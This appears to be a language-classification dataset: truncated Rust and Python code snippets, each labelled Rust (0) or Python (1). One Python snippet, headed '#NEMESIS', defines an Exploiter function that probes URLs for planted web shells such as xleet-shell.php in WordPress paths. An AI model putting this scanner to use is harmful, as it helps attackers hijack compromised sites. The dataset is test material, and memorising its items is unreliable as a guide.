text
string
label_name
string
labels
int64
)] #![feature(impl_trait_in_bindings)] #![feature(type_alias_impl_trait)] #![feature(concat_idents)] use wifi_app::*; use log::LevelFilter; use panic_probe as _; use rtt_logger::RTTLogger; use rtt_target::rtt_init_print; use core::cell::UnsafeCell; use drogue_device::{ actors::button::Button, drivers::wifi::...
Rust
0
', 'zh': u('\u6cb3\u5357\u7701\u5357\u9633\u5e02')}, '86185673':{'en': 'Xuchang, Henan', 'zh': u('\u6cb3\u5357\u7701\u8bb8\u660c\u5e02')}, '861856738':{'en': 'Xinxiang, Henan', 'zh': u('\u6cb3\u5357\u7701\u65b0\u4e61\u5e02')}, '861856739':{'en': 'Xinxiang, Henan', 'zh': u('\u6cb3\u5357\u7701\u65b0\u4e61\u5e02')}, '...
Python
1
ouse_code'] = self.warehouse_code return params @staticmethod def from_alipay_dict(d): if not d: return None o = SupplierReport() if 'channel' in d: o.channel = d['channel'] if 'operator_id' in d: o.operator_id = d['operator_id'] ...
Python
1
str, Field)> { let (input, field) = parse_field_str(input)?; match field { "time" | "时间" => Ok((input, (field, Field::Time))), "src_ip" | "源IP" => Ok((input, (field, Field::SrcIp))), "src_port" | "源端口" => Ok((input, (field, Field::SrcPort))), "dest_ip" | "目的IP" => Ok((input, (fie...
Rust
0
e to a string for line in original_file: # Use regular expressions with word boundaries for replacements for key, value in replacements.items(): line = re.sub(key, value, line) # Write the modified line to the temporary file ...
Python
1
!("{}:{}", user_id(), group_id(),)]); } } #[allow(unused_variables)] pub(crate) fn docker_seccomp( docker: &mut Command, engine_type: EngineType, target: &Target, metadata: &CargoMetadata, verbose: bool, ) -> Result<()> { // docker uses seccomp now on all installations if target.needs_d...
Rust
0
pub core_reloc_off: u32, pub core_reloc_len: u32, } #[repr(C)] #[derive(Debug, Copy, Clone, DerivePread, Pwrite, IOread, IOwrite, SizeWith)] pub struct btf_ext_info_sec { pub sec_name_off: u32, pub num_info: u32, } #[repr(C)] #[derive(Debug, Copy, Clone, DerivePread, Pwrite, IOread, IOwrite, SizeWith)] pu...
Rust
0
import unittest from mock import Mock, patch, PropertyMock from crankycoin.miner import Miner from crankycoin.models.block import Block, BlockHeader from crankycoin.models.transaction import Transaction from crankycoin.repository.blockchain import Blockchain from crankycoin.repository.mempool import Mempool class Tes...
Python
1
= | x⁰₁ x¹₁ x²₁ x³₁ ... xᴹ₁ | /// | x⁰₂ x¹₂ x²₂ x³₂ xᴹ₂ | /// └ ┘_(space_ndim,nnode) /// where `M = nnode - 1` /// ``` /// /// You must call `set_xx` to set the components, otherwise calculations will be **incorrect.** pub xxt: Matrix, ...
Rust
0
from django.conf import settings from django.urls import include, path, re_path from core.views.static_views import ( community, documentation, favicon, health_check, home, manifest, marker_generator, me_hotsite, robots_txt, service_worker, ) from core.views.views import ( a...
Python
1
(feature = "with-serde", derive(Serialize, Deserialize))] pub struct CMsgClientPersonaState_Friend { // message fields friendid: ::std::option::Option<u64>, persona_state: ::std::option::Option<u32>, game_played_app_id: ::std::option::Option<u32>, game_server_ip: ::std::option::Option<u32>, game...
Rust
0
class Solution: def findReplaceString(self, s: str, indexes: List[int], sources: List[str], targets: List[str]) -> str: for index, source, target in sorted(zip(indexes, sources, targets), reverse=True): if s[index:index + len(source)] == source: s = s[:index] + target + s[ind...
Python
1
""" multicode.py - use the I2C keypad to check "one of many" entry code * Author(s): Meurisse D., MCHobby (shop.mchobby.be). Products: ---> Qwiic Keypad - 12 Button : https://www.sparkfun.com/products/15290 ---> MicroMod RP2040 Processor : https://www.sparkfun.com/products/17720 ---> MicroMod Machine Learning Carrie...
Python
1
#NEMESIS def Exploiter(url): try: paths = ['/wp-content/plugins/ccx/index.php', '/ccx/index.php', '/xt/index.php', '/xleet-shell.php', '/xleet.php', '/xleetshell.php', '/wp-admin/includes/xleet-shell.php', '/wp-content/plugins/content-management/content.php', '/xlt.php', '/wp-content/plugins/xt/index.php',...
Python
1
,area)) maps = os.listdir(os.path.join(save_dir,sample,area)) maps = [x for x in maps if len(x.split('_'))==5] if len(maps)==0: continue r,c = loc_dict[sample+'_'+area]['Size'] for col in cols: if col=='Marker': ...
Python
1
# Copyright (c) OpenMMLab. All rights reserved. import types from xtuner._lite import get_logger import torch.distributed as dist logger = get_logger() def _dispatch_forward_fn(module, dispatch_fn): module.forward = types.MethodType(dispatch_fn, module) def dispatch_internlm_varlen_attn_forward(module): as...
Python
1
(uncomment below and comment out Adam) # opti = torch.optim.LBFGS([opt_wrist_pos, opt_wrist_rot, opt_dof_pos], lr=0.0005) # Alternative: Use Adam with parameter groups (uncomment below and comment out LBFGS) # opti = torch.optim.Adam( # [{"params": [opt_wrist_pos, opt_wrist_rot], "lr...
Python
1
va/nio/channels/ScatteringByteChannel") extends crate::java::lang::Object, implements crate::java::nio::channels::ReadableByteChannel { /// [read](https://developer.android.com/reference/java/nio/channels/ScatteringByteChannel.html#read(java.nio.ByteBuffer%5B%5D,%20int,%20int)) /// /// Required...
Rust
0
from easydict import EasyDict cartpole_dqn_config = dict( exp_name='cartpole_dqn_seed0', env=dict( collector_env_num=8, evaluator_env_num=5, n_evaluator_episode=5, stop_value=195, ), policy=dict( cuda=False, model=dict( obs_shape=4, ...
Python
1
element: layer.element, isFore: layer.is_foreground as BOOL, targetType: SCITER_PAINT_TARGET_TYPE::SPT_SURFACE, context: paint.surface, callback: None, }; (API.SciterProcX)(wnd, &msg.header as *const _) } Message::R...
Rust
0
if_neq_const_skip(&mut self, op_code: OpCode) { let (register, value) = get_reg_and_value_from_opcode(op_code); // Jump if self.registers[register] != value { self.program_counter += CHIP8_PROGRAM_COUNTER_INC; } self.program_counter += CHIP8_PROGRAM_COUNTER_INC; ...
Rust
0
so they are deleted. :param dry_run: If true, this function will not delete anything but just return the files it would delete. :param exclude: A callable that is invoked with the subdirectory (relative to `path`). If it returns ``True``, the direct...
Python
1
_id).context(InvalidVolumeId { volid: volume_id.to_string(), })?; if let Some(device) = Device::lookup(&uuid).await.context(InternalFailure { volid: volume_id.to_string(), })? { let device_path = device.devname(); let mountpaths = findmnt::get...
Rust
0
## @ingroup Methods-Power-Fuel_Cell-Discharge # find_power_diff_larminie.py # # Created : Apr 2015, M. Vegh # Modified: Sep 2015, M. Vegh # Feb 2016, E. Botero # ---------------------------------------------------------------------- # Imports # --------------------------------------------------------------...
Python
1
edPlaces<'_, 'tcx> { type Idx = InitIndex; const NAME: &'static str = "ever_init"; fn bits_per_block(&self, _: &mir::Body<'tcx>) -> usize { self.move_data().inits.len() } fn initialize_start_block(&self, body: &mir::Body<'tcx>, state: &mut BitSet<Self::Idx>) { for arg_init in 0..b...
Rust
0
nts ] return RetrieverOutput( doc_indices=doc_indices, doc_scores=doc_scores, query=query, documents=documents, ) @classmethod def _doc_from_point( cls, point: models.ScoredPoint, text_key: str, metadata_key...
Python
1
e { self.w.make_current().unwrap() }; } fn load_fn(&self, addr: &str) -> *const c_void { self.w.get_proc_address(addr) as *const c_void } } // Create a window and draw the turtle. fn main() { let window_size = (1280, 800); let window = Window { w: glutin::WindowBuilder::new(). ...
Rust
0
import numpy as np import pandas as pd import scipy from scipy.stats import ks_2samp, loguniform from scipy import stats import numpy as np import copy def define_test_input(args): if args.test_case == 1: low = 0 high = 1 size = 10000 return low, high, size def ans1(_a): min, ma...
Python
1
#! /usr/bin/env python ## -*- Mode: python; py-indent-offset: 4; indent-tabs-mode: nil; coding: utf-8; -*- # A list of C++ examples to run in order to ensure that they remain # buildable and runnable over time. Each tuple in the list contains # # (example_name, do_run, do_valgrind_run). # # See test.py for more i...
Python
1
age_np_expanded = np.expand_dims(image_np, axis=0) # Actual detection. output_dict = run_inference_for_single_image(image_np, detection_graph) # Visualization of the results of a detection. vis_util.visualize_boxes_and_labels_on_image_array( image_np, output_dict['detection_b...
Python
1
end="" if not stream_end else None) if text!="": # print(text) return text else: return None def _is_chinese_char(self, cp): """Checks whether CP is the codepoint of a CJK character.""" # This defines a "chinese character" as anything in the CJ...
Python
1
from pymclevel.infiniteworld import MCInfdevOldLevel from pymclevel import mclevel from timeit import timeit import templevel # import logging #logging.basicConfig(level=logging.INFO) def natural_relight(): world = mclevel.fromFile("testfiles/AnvilWorld") t = timeit(lambda: world.generateLights(world.allChu...
Python
1
# Owner(s): ["module: autograd"] import os import subprocess import unittest from torch.testing._internal.common_utils import ( IS_WINDOWS, run_tests, slowTest, TemporaryFileName, TestCase, ) PYTORCH_COLLECT_COVERAGE = bool(os.environ.get("PYTORCH_COLLECT_COVERAGE")) # This is a very simple sm...
Python
1
t(&self) -> &syn::Ident; } impl<T: GetPath> GetIdent for T { fn get_ident(&self) -> &syn::Ident { &self.get_path().segments[0].ident } } pub trait HasLifetime { fn has_lifetime(&self) -> bool; } impl<T: GetPath> HasLifetime for T { fn has_lifetime(&...
Rust
0
self.bits } } #[doc = r"Proxy"] pub struct _EPI_HB8TIME3_IRDYDLYW<'a> { w: &'a mut W, } impl<'a> _EPI_HB8TIME3_IRDYDLYW<'a> { #[doc = r"Writes raw bits to the field"] #[inline(always)] pub unsafe fn bits(self, value: u8) -> &'a mut W { self.w.bits &= !(3 << 24); self.w.bits |= ...
Rust
0
ject_set_property( self.to_glib_none().0 as *mut gobject_sys::GObject, b"password\0".as_ptr() as *const _, Value::from(password).to_glib_none().0, ); } } fn set_property_password_flags(&self, password_flags: SettingSecretFlags) { unsaf...
Rust
0
########################################## # 文件管理功能模块 # 作者:李嘉 # 学号:3123009043 # 班级:23人工智能1班 # 指导教师:苏畅、李剑锋 ########################################### """ 基于JSON的文件系统管理器 """ import json import os import datetime import hashlib import shutil import copy from typing impor...
Python
1
t = vec![ Token::Integer(Integer { radix: Radix::Decimal, value: 101, }), Token::Integer(Integer { radix: Radix::Binary, value: 0b101, }), Token::Integer(Integer { radix: Radix::Octal, // Rust doesn't support...
Rust
0
_policy_all(self): """ Test that a custom policy can be created with an IP address and an arbitrary URL. """ url = "http://1234567.cloudfront.com/test.txt" expires = 999999 valid_after = 111111 ip_range = "192.168.0.0/24" policy = self.dist._custom...
Python
1
d: u32 = 1; pub const _BITS_TYPES_LOCALE_T_H: u32 = 1; pub const _BITS_TYPES___LOCALE_T_H: u32 = 1; pub const TIME_UTC: u32 = 1; pub const _SYS_TIME_H: u32 = 1; pub const CURL_SOCKET_BAD: i32 = -1; pub const CURL_HTTPPOST_FILENAME: u32 = 1; pub const CURL_HTTPPOST_READFILE: u32 = 2; pub const CURL_HTTPPOST_PTRNAME: u32...
Rust
0
set_value() -> Self::Type { 0 } } #[doc = "RNGA Clock Gate Control\n\nValue on reset: 0"] #[derive(Clone, Copy, Debug, PartialEq)] pub enum RNGA_A { #[doc = "0: Clock disabled"] _0, #[doc = "1: Clock enabled"] _1, } impl From<RNGA_A> for bool { #[inline(always)] fn from(variant: RNGA...
Rust
0
() > 0) def update_progress(self, message): self.progress_bar.setFormat(f"{message} - %p%") def set_progress_max(self, maximum): self.progress_bar.setMaximum(maximum) def set_progress_value(self, value): self.progress_bar.setValue(value) def update_stage_progr...
Python
1
(0, 0, 0); let pdt = PyDateTime { year: 2004, month: 4, day: 10, hour: 11, minute: 30, second: 0, micros: 0, tzo: None, }; parse_and_assert( pdt, info, "2004 10 Apr 11h30m", None, None, false, ...
Rust
0
der = st.selectbox("Whether to train the text encoder", options=[True, False]) log_interval = st.number_input(label="Save Log Interval: ", value=10, help="Log every N steps.") tokenizer_name = st.text_input("Enter the tokenizer name", value=None, help="Pretrained tokenizer name or path i...
Python
1
account("owner", u, SEED); let currency_id: CurrencyId = <T as debt_engine::Trait>::CollateralCurrencyIds::get()[0]; let min_debit_value = <T as debt_engine::Trait>::MinimumDebitValue::get(); let debit_exchange_rate = DebtEngine::<T>::get_debit_exchange_rate(currency_id); let collateral_price = Price::one(); ...
Rust
0
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
Python
1
self.assertEqual(response.status_code, 200) self.assertTemplateUsed(response, 'trades/create_user.html') def test_create_user_view_post(self): """ Тест POST-запроса для создания пользователя. Если возвращается 404, значит URL 'create_user' отсутствует или неправильно указан. ...
Python
1
ualifications )] #[macro_use] extern crate error_chain; use crate::errors::*; use cargo_edit::{ colorize_stderr, find, get_latest_dependency, manifest_from_pkgid, registry_url, update_registry_index, CrateSpec, Dependency, LocalManifest, }; use clap::Parser; use std::collections::{BTreeMap, BTreeSet}; use std...
Rust
0
{on_message} }}; }} if let Ok(_) = rx_kill.try_recv() {{ running = false; {{ {on_stop} }}; ...
Rust
0
import socket import time import heroku3 from pyrogram import filters import config from AarohiX.core.mongo import mongodb from .logging import LOGGER SUDOERS = filters.user() HAPP = None _boot_ = time.time() def is_heroku(): return "heroku" in socket.getfqdn() XCB = [ "/", "@", ".", "com",...
Python
1
import logging from typing import Callable, Optional, Union import vllm.envs as envs logger = logging.getLogger(__name__) def load_general_plugins(): """WARNING: plugins can be loaded for multiple times in different processes. They should be designed in a way that they can be loaded multiple times witho...
Python
1
latforms don't always overlap (good spacing variety)") else: print("⚠️ Platforms might always overlap") # Check that gaps aren't too large if max_gap_between_edges < 100: print("✓ Maximum gaps are reasonable for gameplay") else: print("⚠️ Maximum gaps might be too large") ...
Python
1
header::ContentType; let id = req.path_segs().join("/"); let post_cache = self.post_cache.get(&id)?; let content_guard = post_cache.read().unwrap(); let (title, content) = get_post(content_guard.as_ref()); let metadata_cache = self.metadata_cache.get(&id)?; let meta...
Rust
0
instance = &*(ptr as *mut T::Instance); let imp = instance.get_impl(); let wrap: Borrowed<IMContext> = from_glib_borrow(ptr); imp.preedit_changed(wrap.unsafe_cast_ref()) } unsafe extern "C" fn im_context_preedit_end<T: IMContextImpl>(ptr: *mut ffi::GtkIMContext) { let instance = &*(ptr as *mut T::Ins...
Rust
0
hannel(0); /// let t1_local = main_send.clone(); /// let t1_dat = Arc::clone(&result_sync); /// thread::spawn(move || { /// while let Some(_) = t1_recv.recv().unwrap() { /// let result : &Vec<&i32> = &*t1_dat.read().unwrap(); /// // println!("Thread1: {:?}", result); /// ...
Rust
0
if col > self.num_cols()+1 { None } else { Some(unsafe { lp::is_int(self.lprec, col) } == 1) } } /// Sets the objective function. /// /// Asserts that `coeffs` has at least as many elements as the underlying model. pub fn set_objective_function(&mut self, co...
Rust
0
derive::{Msg, widget}; use self::Msg::*; pub struct Model { _channel: Channel<i32>, text: String, } #[derive(Clone, Msg)] pub enum Msg { Quit, Value(i32), } #[widget] impl Widget for Win { fn model(relm: &Relm<Self>, _: ()) -> Model { let stream = relm.stream().clone(); // Create...
Rust
0
ent are included in the response (including text that isn't related to the value of <code>FeatureTypes</code>). </p> pub feature_types: std::option::Option<std::vec::Vec<crate::model::FeatureType>>, /// <p>Sets the configuration for the human in the loop workflow for analyzing documents.</p> pub human_loop_...
Rust
0
'⭹', '\u{1fb5b}', '𔘏', '🚘', '𐑮', '₹', '輸', '陼', '🔤', '🙞', 'ၼ', '⚘', '\u{8f6}', '\u{115c0}', '𐂱', '💧', 'ꄼ', '🍔', 'ꄺ', '𒁨', '𛃵', '⪁', '˫', '𞢙', '\u{11fd5}', '𛋭', '𒔯', '𐰂', '⽞', 'ⲹ', '𐆕', '𛆦', 'ɵ', '𞣊', '\u{18b31}', '\u{1d17d}', 'ꪏ', '𔐢', '𝖶', 'ç', '𛈬', '᧼', '➵', '\u{c47}', 'ꨂ', 'ኟ', '...
Rust
0
t(match.group(1)) unit = match.group(2) or 's' # 默认单位为秒 # 转换为秒 if unit in ['m', 'min', 'minute', 'mins', 'minutes']: time_sec = value * 60.0 # min -> s debug_print(f"🔄 时间转换: {value}分钟 → {time_sec}秒") elif unit in ['h', 'hr', 'hour', 'hrs', 'hours']: time_sec = value * 3600.0 ...
Python
1
#!/usr/bin/python2.7 # Copyright 2012 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requi...
Python
1
# Copyright (C) 2022-2025 Intel Corporation # LIMITED EDGE SOFTWARE DISTRIBUTION LICENSE from utils.enums import CreditSystemTimeBoundaries def is_whitespace_or_empty_string(input_str: str) -> bool: """ This function takes a string as input and returns True if the string contains only whitespace characte...
Python
1
:high"]) @enforce_types def test_exchange_hist_overlap(tmpdir): """DataFactory get_mergedohlcv_df() and concat is executing e2e correctly""" _, factory = _lake_ss_1feed( tmpdir, "binanceus ETH/USDT h 5m", st_timestr="2023-06-18", fin_timestr="2023-06-19", ) # call and ...
Python
1
i==0 && j==0 { Ix = horizontal; Iy = vertical; } else { Ix.add_centered_inplace(&horizontal)?; Iy.add_centered_inplace(&vertical)?; } //println!("Ix Iy: {} {}", Ix.decrypt_decode(sk)?, Iy.decrypt_decode(sk)?); } } //println!("(Ix, Iy): ({}, {})", Ix.decrypt_decode(sk)?, Iy.decrypt_decod...
Rust
0
-> _VENDOR_IDW { _VENDOR_IDW { w: self } } #[doc = "Bits 4:7"] #[inline] pub fn chip_ver(&mut self) -> _CHIP_VERW { _CHIP_VERW { w: self } } #[doc = "Bits 0:3"] #[inline] pub fn rf_rl_id(&mut self) -> _RF_RL_IDW { _RF_RL_IDW { w: self } } } // aux-build:issue-...
Rust
0
# -*- coding: utf-8 -*- # # Copyright 2018 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
Python
1
cies'] for p in policy_template['policies']: p['name'] = policy_name for m in p['manifests']: m['path'] = path policy_template['policyDefaults']['placement']['clusterSelectors'] = cluster_selectors if not len(namespace_selectors) == 0: policy_template['policyDefaults']['...
Python
1
e UnprocessedKeys should not only list the keys, it should # also copy the additional parameters used in the original read. # In this example this was "ConsistentRead". for tbl in to_read: assert 'ConsistentRead' in to_read[tbl] some_keys_were_unprocessed ...
Python
1
f\x8a\xad\xec\xfc\x0b/\x89\x17\xe1E\xcd\x87\xfc \xfe\ \x1c\xba\xb5\xb5\xf1\x85\xa2\xff\x00\xc2\xc4\xf1\xbf\x87\xee\xb5\ Kx\xe2\xfe\xd3\xb3\xd7\xee\x9fA\x91\xacv\xbfk\xdf\ \xda?\xfe\x0a[\xff\x00\x05c\xf1\xd7\x8a\xfe\x1d\xfe\xd4\ _\x1c~\x1fx\xf2\xf7\xf6\x1f\xf0\xbf\xc5o\x16\xdbZ\ j>\x14\xd2\xbe\x04\xe8\xb6\xf6\xe6]\x16\x...
Python
1
z_fcn(to.stack((x, y), dim=1).transpose(0, 1).to(to.get_default_dtype())) for x, y in zip(xx_tensor, yy_tensor) ] ) zz = zz.squeeze().detach().cpu().numpy() else: raise pyrado.ValueErr(given=data_format, eq_constraint="'numpy' or 'torc...
Python
1
, ) -> Option<TokenStream> { Some(quote! { for attr in attributes { if attr.name.local_name == #label_name { let visitor = #visitor_label{}; match visitor.#visitor(&attr.value) { Ok(value) => {#label #action;} Err(msg) => {return Err(msg);} } } } }) } ...
Rust
0
self.MVB_SOLVER_COPT: # if isUpper: # model.addConstr(cp.quicksum(vars[varIdx[i]] for i in range(nFixVars)) # >= nFixVars) # else: # model.addConstr(cp.quicksum(vars[varIdx[i]] for i in range(nFixVars)) # ...
Python
1
} else { break; } } State::Busy(_, ref mut rx) => { let res = ready!(Pin::new(rx).poll(cx))?; res?; *this.state = State::Idle; break; ...
Rust
0
"""Locking""" from datetime import datetime from datetime import timezone from plone import api from plone.locking.interfaces import ILockable def creator_name(userid): user = api.user.get(userid=userid) if user: return user.getProperty("fullname") or userid else: return userid def crea...
Python
1
sets X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) # Data preprocessing (standardization) scaler = StandardScaler() X_train = scaler.fit_transform(X_train) X_test = scaler.transform(X_test) # Define a neural network model model = tf.keras.models.Sequential([ tf.keras.l...
Python
1
order["amount"] -= quantity sell_order["amount"] -= quantity # If buy order is filled, break if buy_order["amount"] == 0: break return matches def test_find_matches(): """ Test the matching log...
Python
1
的事件时, 执行顺序如下: 0. 判断这个事件是否被当前状态接受 1. 如果接受, 执行当前状态的 exit 函数 2. 执行指定事件的 action 函数 3. 执行转移目标状态的 enter 函数 4. 记录发生的事件信息 *args, **kwargs 参数将被传递给当前事件的执行函数 """ if not self.__current.accept(event): raise EventNotAccept("当前状态不允许事件该事件发...
Python
1
Scalar::random(&mut rng)); let (C_com, C_var) = prover.commit(C, Scalar::random(&mut rng)); let (D_com, D_var) = prover.commit(D, Scalar::random(&mut rng)); let (x_com, x_var) = prover.commit(x, Scalar::random(&mut rng)); // Add 2-shuffle gadget constraints to the prover's constraint system two_sh...
Rust
0
break; } vector = vector.rotate_by(sweep_vector); } const EPSILON: f32 = 0.001; } pub fn push_ellipse(&mut self, transform: &Transform2F) { let segment = Segment::quarter_circle_arc(); let mut rotation; self.push_segment(&segment.transfo...
Rust
0
Core::InGame {}); InGame::from(self) })) } } impl<'a> InGame<'a> { pub fn core(&mut self) -> &mut Core { self.0 } pub fn stream(self, stream: &mut Connection) -> InGameLoop<'a, '_> { let framed = unsafe { std::pin::Pin::new_unchecked(stream) }; InGameLoop::ne...
Rust
0
Select(sel)) => self.handle_select(sel, &mut t), Ok(CopRequest::DAG(dag)) => self.handle_dag(dag, &mut t), Ok(CopRequest::Analyze(analyze)) => self.handle_analyze(analyze, &mut t), Err(err) => Err(err), }; match resp { Ok(r) => respond(r, t), E...
Rust
0
back!") def _handle_chat_input(self, rag_system: RAGSystem): """Handle chat input and generate responses. Args: rag_system: The RAG system instance """ if prompt := st.chat_input("Ask a question about your documents..."): # Check if database has ...
Python
1
.. } => { if let Some(last_frame_time) = player.last_frame_presentation_time() { self.resync(last_frame_time.ticks) } }, _ => () } } true } } struct Exam...
Rust
0
ocks.support_1mhz_fro_token().unwrap())); hal::enable_cycle_counter(); loop { timer.start(1.s()); delay_cycles(10_000_000); let us = timer.lap().0; timer.cancel().ok(); heprintln!("{} MHz", 10_000_000 / us).ok(); } } <reponame>hustliyilin/occlum<filename>src/lib...
Rust
0
False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. html_show_sphinx = False # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true...
Python
1
sell_price = max(cost_price * 1.3, minimum_price) elif cost_price < 50: sell_price = max(cost_price * 1.2, minimum_price) elif cost_price < 100: sell_price = max(cost_price * 1.15, minimum_price) elif cost_price < 200: sel...
Python
1
"""Records activations from victim's policy network and then fits a density model.""" import logging import os import os.path as osp import sacred from sacred.observers import FileStorageObserver from aprl.activations import generate_activations from aprl.activations.density.fit_density import fit_model, fit_model_e...
Python
1
Program, PCapDumper, PCapHandle, PCapHandler, PCapInterface, PCapPacketHeader, }; use dlopen::wrapper::WrapperApi; use libc::{c_char, c_int, c_long, c_uchar, c_uint, FILE}; /// Code hat helps you use the original DLL API. pub mod helpers { pub use crate::pcap_common::PCapErrBuf; } ///Equivalent of C struct pcap_s...
Rust
0
bf.join(get_blob_logdir(), "checkpoints", filename), "wb" ) as f: th.save(state_dict, f) save_checkpoint(0, self.model.state_dict()) if dist.get_rank() == 0: checkpoint_dir = os.path.join(logger.get_dir(), "checkpoints") with bf.BlobF...
Python
1
xc1, 0xdd, 0xf7, 0xeb, 0xf3, 0x49, 0xeb, 0xe4, 0x1b, 0x7d, 0xd7, 0x45, 0xa5, 0x7d, 0x59, 0x9f, 0x9f, 0x73, 0x39, 0x2e, 0x22, 0x74, ]); let nonce = Nonce::from_public_slice(&[ 0xa3, 0xea, 0xca, 0xab, 0xf0, 0x15, 0x3f, 0xb0, 0xbf, 0x32, 0x9a, 0x4e, 0x2a, 0xf4, 0x2f, 0x5c, ]); ...
Rust
0
stpass_denoising originalP.seed = processed1.all_seeds[0] originalP.subseed = processed1.all_subseeds[0] finally: shared.state.textinfo = "switching sd checkpoint" shared.opts.sd_model_checkpoint = originalCheckpoint sd_models.reload_model_weights() ...
Python
1
from turtle import * screensize(1000,1000) m = 30 lt(90) tracer(0) for i in '123': fd(2*m) rt(90) fd(3*m) lt(90) rt(180) fd(6*m) rt(90) fd(9*m) up() bk(3) rt(90) down() for i in '12': fd(m) rt(90) fd(2*m) lt(90) rt(180) fd(3*m) rt(90) fd(4*m) rt(90) fd(m) up() for x in range(-20, 20): ...
Python
1
64N32 = 0xa0000008, SCMP_ARCH_MIPSEL = 0x40000008, SCMP_ARCH_MIPSEL64 = 0xc0000008, SCMP_ARCH_MIPSEL64N32 = 0xe0000008, SCMP_ARCH_PPC = 0x00000014, SCMP_ARCH_PPC64 = 0x80000015, SCMP_ARCH_PPC64LE = 0xc0000015, SCMP_ARCH_S390 = 0x00000016, SCMP_ARCH_S390X = 0x80000016, } #[derive(Seriali...
Rust
0
let Ok(Some(rr)) = rr.into_record::<AllRecordData<ParsedDname>>() { if rr.rtype() == Rtype::Cname { return Some(rr); } } } return None; }); assert!(res.is_ok()); if let Ok(target) = res { ...
Rust
0
import tkinter as tk from database import list_movie # Root Window root = tk.Tk() screen_width = root.winfo_screenwidth() screen_height = root.winfo_screenheight() root.geometry(f"{screen_width}x{screen_height}") root.title("Tubes Pengkom K16 Kelompok 5") root.configure() # Frame untuk List Movie Minggu Ini movielist...
Python
1
File::create(&tmp_zip_path)?; Download::from_url(&asset.download_url) .set_header(reqwest::header::ACCEPT, "application/octet-stream".parse().unwrap()) .download_to(&tmp_zip).unwrap(); // self_update extractor doesn't work. It fails on every-single-test I did. So we use anothe...
Rust
0
75.0, 130.0), (40.0, 220.0), (0.0, 290.0)); bez.line_to((40.0, 370.0)); bez.line_to((40.0, 410.0)); bez.close_path(); bez.move_to((140.0, 0.0)); bez.line_to((140.0, 266.0)); bez.move_to((173.0, 300.0)); bez.curve_to((173.0, 283.0), (159.0, 267.0), (140.0, 267.0)); bez.curve_to((121.0, ...
Rust
0
in) print("Destinations:", self.destinations) def get_heuristic_time(self, node1, node2): """ Calculate heuristic travel time between two nodes Returns time in minutes """ if node1 not in self.node_coordinates or node2 not in self.node_coordinates: ...
Python
1
campaign=camp, type=EmailSending.Type.DEFERRED, state=EmailSending.State.PLANNED, sending_date=now() - timedelta(hours=1), ) queue = get_queue() queue.clear() camp.restore() self.assertFalse(self.refresh(camp).is_deleted) self.assertTru...
Python
1
''' https://www.codewars.com/kata/582887f7d04efdaae3000090/ ''' def find_senior(lst): seniors = [] # the the ages available ages_array = sorted([dev["age"] for dev in lst]) # go over the original array and return object containing the age key == ages_array[-1] for dev in lst: if d...
Python
1